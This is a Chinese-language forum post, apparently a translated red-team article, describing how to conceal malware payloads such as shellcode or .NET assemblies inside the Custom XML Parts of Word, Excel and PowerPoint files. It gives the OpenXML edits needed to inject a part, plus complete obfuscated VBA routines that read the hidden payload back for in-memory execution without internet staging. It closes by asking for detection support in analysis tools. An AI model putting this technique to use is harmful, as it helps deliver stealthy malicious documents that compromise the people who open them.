|
一、摘要
本文的 第一部分 概述了在 Office 文档结构中隐藏恶意软件 payload 的基本技术,以及将它们嵌入到 VBA 和从 Internet 中提取的困境。
这篇文章讨论了另一种技术,就我而言,它代表了一种新颖的、隐秘的原语,用于存储可以使用特定 VBA 逻辑轻松提取的更大数据块。我们介绍了一种将自定义 XML 部件存储武器化的想法,可在 MS Word、Excel 和 PowerPoint 中使用,以隐藏初始访问负载。
二、自定义 XML 部件
为真正的进攻性障碍发明新解决方案的纯工程产品。当我们在 Maldoc 上犯错时,Emulation 出错后引发了一个想法。一个包含硬编码的大块 shellcode,公然嵌入到我们的 VBA 模块中。一个被破坏的初始访问变成了一个完美的借口来深入和剖析可能被重新用作恶意软件的 OpenXML 结构。
在我写这篇文章的时候,我不知道任何会提取和分析自定义 XML 部分的恶意检查套件,也不知道关于这件事的公共研究。
自定义 XML 部件是一种用于将 XML 数据嵌入到 Office 文档中的内置机制。嵌入的此类数据称为部件,位于 Office 2007+ 档案中包含的 customXml 目录中:
- ./customXml
- ./customXml/item1.xml
- ./customXml/itemProps1.xml
- ./customXml/_rels
- ./customXml/_rels/item1.xml.rels
复制代码
每个部分占用一个单独的 XML 项目文件,其中包含一个任意命名的节点。
2.1 插入一个新的部分
为了自动插入/删除/更新,需要调整一些文件。请注意,必须使用合理的关系标识符 (rId)。
customXml/item1.xml
- <evil>Hello world from CustomXMLpart</evil>
复制代码
很简单,不是吗?
一个邪恶的节点包含我们的 payload blob。节点的名称是任意的,因为我们稍后将读取它。二进制数据必须先进行 XML 转义,然后才能存储在其中。我倾向于做的是用硬编码值作为编码的 payload 的前缀,以便 VBA 代码在读取后将被结构化以应用自定义 Base64 解码器。
customXml/itemProps1.xml
每个项目都必须有相应的属性文件,在本例中为:customXml/itemProps1.xml。典型的 dataStoreItem 为该项目的 XML 定义 XML 命名空间:
- <?xml version="1.0" encoding="UTF-8" standalone="no"?>
- <ds:datastoreItem ds:itemID="{FE0B2D0B-7869-4699-AE32-3BFA0DA1269F}" xmlns:ds="http://schemas.openxmlformats.org/officeDocument/2006/customXml">
- <ds:schemaRefs/>
- </ds:datastoreItem>
复制代码
customXml/_rels/item1.xml
然后我们需要在名为 customXml/_rels/item1.xml 的文件中建立将 itemProps1.xml 链接回文档根的关系:
- <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
- <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
- <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXmlProps" Target="itemProps1.xml"/>
- </Relationships>
复制代码
必须根据已经存在的标识符仔细选择关系 ID。
[Content_Types].xml
下一步是将 Override 子节点附加到 [Content_Types].xml 中的 Types 父节点,这会将我们注入的项目属性标记为 customXml 属性:
- <Override PartName="/customXml/itemProps1.xml"
- ContentType="application/vnd.openxmlformats-officedocument.customXmlProperties+xml"/>
复制代码
Document rels
现在,根据我们注入零件的 Office 文件,还必须更新适当的关系列表:
- Word:word/_rels/document.xml.rels
- Excel:xl/_rels/workbook.xml.rels
- PowerPoint:ppt/_rels/presentation.xml.rels
该文档主 rels 文件需要将以下关系子节点附加到关系父节点:
- <Relationship Target="../customXml/item1.xml"
- Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/customXml" Id="rId5"/>
复制代码
2.1 Working with Parts using VBA
现在是我们的恶意软件开发艺术的最精彩部分 —— 已经注入了 payload,如何检索以让它被放入受感染的系统或加载到内存中以供 James Forshaw 的 DotNetToJS 喜悦?
插入步骤有点复杂,不幸的是,VBA 检索逻辑设计不会更简单。
Write Primitive
让我们首先为 write-primitive VBA 函数提供一个完整的样板:
- Sub obf_SetCustomXMLPart(ByVal obf_Name As String, ByVal obf_Data As String)
- On Error GoTo obf_ProcError
- Dim obf_part
- Dim obf_Data2
-
- obf_Data2 = "<" & obf_Name & ">" & obf_Data & "</" & obf_Name & ">"
-
- Set obf_part = obf_GetCustomXMLPart(obf_Name)
- If obf_part Is Nothing Then
- On Error Resume Next
- ActivePresentation.CustomXMLParts.Add (obf_Data2)
- ActiveDocument.CustomXMLParts.Add (obf_Data2)
- ThisWorkbook.CustomXMLParts.Add (obf_Data2)
- Else
- obf_part.DocumentElement.Text = obf_Data
- End If
- obf_ProcError:
- End Sub
复制代码
暂时将 obf_GetCustomXMLPart 放在一边,看看纯粹在 VBA 中编写一个部件是多么容易。只需引用活动文档的全局对象并取消引用 CustomXMLParts 属性。当然,接着是调用 Add。
Read Primitive
现在是更有用的东西,这是实际的检索步骤。将编码的 .NET 程序集注入到一个部件中 —— 现在想将它传递给反序列化小工具,以便很好地为我们带来稳定的内存代码执行。所有这些都没有嵌入在 VBA 中的 .NET 的一点点,也没有从 Internet/WebDAV/UNC/ 任何地方获取。
- Function obf_GetCustomXMLPart(ByVal obf_Name As String) As Object
- Dim obf_part
- Dim obf_parts
-
- On Error Resume Next
- Set obf_parts = ActivePresentation.CustomXMLParts
- Set obf_parts = ActiveDocument.CustomXMLParts
- Set obf_parts = ThisWorkbook.CustomXMLParts
-
- For Each obf_part In obf_parts
- If obf_part.SelectSingleNode("/*").BaseName = obf_Name Then
- Set obf_GetCustomXMLPart = obf_part
- Exit Function
- End If
- Next
-
- Set obf_GetCustomXMLPart = Nothing
- End Function
- Function obf_GetCustomXMLPartTextSingle(ByVal obf_Name As String) As String
- Dim obf_part
- Dim obf_out, obf_m, obf_n
-
- Set obf_part = obf_GetCustomXMLPart(obf_Name)
- If obf_part Is Nothing Then
- obf_GetCustomXMLPartTextSingle = ""
- Else
- obf_out = obf_part.DocumentElement.Text
- obf_n = Len(obf_out) - 2 * Len(obf_Name) - 5
- obf_m = Len(obf_Name) + 3
- If Mid(obf_out, 1, 1) = "<" And Mid(obf_out, Len(obf_out), 1) = ">" And Mid(obf_out, obf_m - 1, 1) = ">" Then
- obf_out = Mid(obf_out, obf_m, obf_n)
- End If
- obf_GetCustomXMLPartTextSingle = obf_out
- End If
- End Function
- Function obf_GetCustomPart(ByVal obf_Name As String) As String
- On Error GoTo obf_ProcError
- Dim obf_tmp, obf_j
- Dim obf_part
- obf_j = 0
-
- Set obf_part = obf_GetCustomXMLPart(obf_Name & "_" & obf_j)
- While Not obf_part Is Nothing
- obf_tmp = obf_tmp & obf_GetCustomXMLPartTextSingle(obf_Name & "_" & obf_j)
- obf_j = obf_j + 1
- Set obf_part = obf_GetCustomXMLPart(obf_Name & "_" & obf_j)
- Wend
-
- If Len(obf_tmp) = 0 Then
- obf_tmp = obf_GetCustomXMLPartTextSingle(obf_Name)
- End If
-
- obf_GetCustomPart = obf_tmp
-
- obf_ProcError:
- End Function
复制代码
为了提取 part,我们调用 obf_GetCustomPart 并将 part 名称作为参数传递。然后将遍历文档的 CustomXMLParts 对象 (如果为 Excel 则是 ThisWorkbook.CustomXMLParts)。部件枚举是必需的,因为该列表中预先填充了一些其他条目,这就是为什么实现看起来过于复杂的原因。
最终的 PoC 文件、代码和相关文件可以在专门的 github 存储库 中查看。
三、结论
CustomXMLParts 在过去的工作中为我提供了很好的服务,因为该存储允许以非常隐蔽的方式包含数百 KB 长的 payload。每当我们选择避免使用 Internet-staging,或者知道附加的 input DLL/shellcode/.NET 程序集太大以至于 VBA 代码在尝试对其进行解码时会冻结时,都可以提供帮助。
这个存储区域和第 1 部分中讨论的其他一些存储区域仅构成了攻击者可能在 OpenXML 文档中滥用以隐藏其武器的不同位置的几个示例。防御者、恶意软件分析师在分类过程中处理受感染的办公文档时,需要注意可以存储 payload 的另一个部分。
我希望这项技术的披露将通过检测开发工作得到满足,从而为 CustomXMLParts 添加特定的反恶意软件光学。特别是,我期待看到 olevba.py、oledump.py 和 OSS 添加对 parts 解剖的支持,因为在我的研究期间缺少一个。
最后,我知道其他 Office 结构可以为恶意软件代码提供类似的存储目的,但我还没有将它们武器化。在烧毁了一种有效的技术后,依赖该技术的红队和威胁者将不得不适应并推动去发现其他技术。当这种情况发生时,我们将捕获他们的 TTP,或者耐心等待红队记录他们的 TTP,从而完成网络安全演进的循环。另一个循环总是导致关闭。
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|